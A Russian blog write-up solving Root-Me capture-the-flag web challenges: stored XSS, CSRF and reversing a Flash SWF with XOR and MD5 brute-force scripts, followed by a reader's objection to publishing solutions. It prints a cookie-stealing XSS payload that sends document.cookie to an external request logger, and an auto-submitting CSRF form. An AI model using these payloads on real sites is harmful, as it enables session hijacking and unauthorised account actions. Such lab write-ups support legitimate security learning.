В данной статье угоняем куки через Stored XSS, разбираемся с CSRF атакой и реверсим Flash SWF файл. Ссылки на предыдущие статьи:
Часть 1: Web — javascript authentication, obfuscation и native code. Решение задач с r0от-мi Web— Client.
Организационная информация
Специально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:
Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
- PWN;
- криптография (Crypto);
- cетевые технологии (Network);
- реверс (Reverse Engineering);
- стеганография (Stegano);
- поиск и эксплуатация WEB-уязвимостей.
Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
XSS Stored
По заданию нам нужно захватить куки администратрора. Открываем сайт. Видим форму, где нужно ввести заголовок и сообщение. Введем, чтобы посмотреть, как наш ввод отобразится на форме.
Так. Попробуем проверить на XSS. В качестве пэйлоада я буду испольовать обычный алерт.
<script>alert(1);</script>
Как можно видеть, нам отобразилось окошко алерта, то есть внедренный код javascript сработал.
Так как это хранимые XSS, то есть возможность угнать куки других пользователей. Если у вас нету своего собственного сервера в глобальной сети, то можно воспольоваться этим сайтом.
Здесь нам дают адрес, по которому мы сможем наблюдать все запросы на этот адрес. Теперь внедрим следующий пэйлоад.
<script>
document.write("<img src='https://en0q0bu21ne0wq.x.pipedream.net/?cookie=" + document.cookie + "'></img>");
</script>
Когда пользовательоткроет страницу с этим кодом, агент попытается загрузить картинку и выполнит запрос по данному адресу. В качестве параметра он будет использовать свой куки. Мы же потом посмотрим на параметр, с которым пришел запрос — это и будет куки.
Чем опасен угон куки? Вставив куки для этого сайта в своем браузере мы войдем на сайт от имени этого пользователя, пропустив процесс аутентификации.
CSRF
По заданию нам нужно активировать свой аккаунт. Зайдем посмотрим на сайт. Нас встречает форма авторизации.
Выбираем регистрацию, и регистрируемся на сайте.
Нам говорят, что мы получим полноправный доступ, когда админ активирует наш аккаунт.
При попытке самостоятельно поставить галочку, получаем сообщение, что мы не админ.
Но мы можем контактировать с админом, то есть он откроет страницу. Смысл CSRF в том, что пользователь выполняет действия, сам не зная об этом. То есть мы можем заставить его отправить уже заполненную форму. Проверим нет ли здесь токена, который выставляется и проверяется сервером — как защита от таких атак. Он каждый раз разный.
Здесь нет токена. Из этой формы выйдет вот такой пэйлоад.
<form id="form" action="http://challenge01.root-me.org/web-client/ch22/?action=profile" method="post" enctype="multipart/form-data">
<input type="text" name="username" value="ralf">
<input type="checkbox" name="status" checked >
<button type="submit">Submit</button>
</form>
<script>document.getElementById("form").submit()</script>
Здесь уже заполненная нашими данными форма, с выстовленной галочкой активации. Javascript код отправит ее после загрузки страницы, соответсвенно от имени просмотревшего ее администратора.
Спустя некоторое время обновим страницу. Наш аккаунт был активирован.
Flash
Нам нужно найти валидный код. Откроем страницу. Нас встречает какой-то кодовый механизм.
Давайте глянем код.
Видим, что на JS проверяется преобразованный код, который мы введем. Осталось узнать алгоритм преобразования. Так же в коде ей ссылка на swf файл. Давайте его скачаем.
Видим, что это сжатый Macromedia Flash. Для реверса таких файлов я предпочитаю использовать JPEXS.
Находим основной скрипт.
Давайте разбирать его.
Он загружает данные из другого вложенного скрипта, ксорит их с ключем и отправляет на исполнение. Сделаем это. Сначала найдем эти данные.
А затем экспортируем в отдельный файл.
Теперь проксорим их с ключом.
f = open('1_RootMe_EmbeddedSWF.bin', 'r')
swf_crypt = f.read()
f.close()
key = 'rootmeifyoucan'
swf_decrypt = ''
for i in range(len(swf_crypt)):
swf_decrypt += chr(ord(swf_crypt[i]) ^ ord(key[i%len(key)]))
f = open('NewEmbedded.swf', 'w')
f.write(swf_decrypt)
f.close()
Получаем новый файл. Открываем его в JPEXS.
Находим основной скрипт и начинаем анализировать.
Так как все равно придется писать код. Буду публиковать его части.
but1 = 11266775
but2 = 11146309
but3 = 7884889
but4 = 8049718
Hash = 'dbbcd6ee441aa6d2889e6e3cae6adebe'
Здесь мы видим код каждой кнопки и ее расположение по координатам. Это нам поможет понять у какой кнопки какой код.
Отсюда узнаем, что длина кода должна быть равна или быть больше 12. И что итоговое значение — MD5 хеш от перевернутой строки.
from hashlib import *
import itertools
for var in itertools.product('1234', repeat=12):
...
...
if len(code) >= 12:
break
h = md5(code[::-1].encode()).hexdigest()
Вместо того чтобы описывать, я просто приведу этот код на python’e.
code = ""
for char in var:
if char == '1':
code += format((but1 >> 16 & 0xFF), '02X')
elif char == '2':
code += format((but2 >> 8 & 0xFF), '02X')
elif char == '3':
code += format((but3 >> 0 & 0xFF), '02X')
elif char == '4':
if len(code) > 1:
code = code[0:-1]
Таким образом, нам нужно перебрать 4^12 = 16777216 вариантов. Пустяк.
from hashlib import *
import itertools
but1 = 11266775
but2 = 11146309
but3 = 7884889
but4 = 8049718
Hash = 'dbbcd6ee441aa6d2889e6e3cae6adebe'
for var in itertools.product('1234', repeat=12):
code = ""
for char in var:
if char == '1':
code += format((but1 >> 16 & 0xFF), '02X')
elif char == '2':
code += format((but2 >> 8 & 0xFF), '02X')
elif char == '3':
code += format((but3 >> 0 & 0xFF), '02X')
elif char == '4':
if len(code) > 1:
code = code[0:-1]
if len(code) >= 12:
break
h = md5(code[::-1].encode()).hexdigest()
print("Password: %s, code: %s" % (var, code))
if h == Hash:
print('Correct password:' + "".join(var))
Break
Получили пароль и код.
Дальше больше и сложнее… Вы можете присоединиться к нам в Telegram. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.
focuz
Откуда такое неуважение к одному из самых клевых БЕСПЛАТНЫХ порталов для обучения хакингу? В правилах портала четко написано:
The publishing of solutions, with a free access outside of the portal is forbidden and penalised.
(https://www.root-me.org/en/Information/Legal-Disclaimer/)
И этот концепт вполне понятен, гораздо лучше и быстрее прокачивашься в скилах решая сам, чем читая описание решения. Даже если ты застрял, у портала есть IRC и форум для помощи(лучше IRC, там быстро отвечают).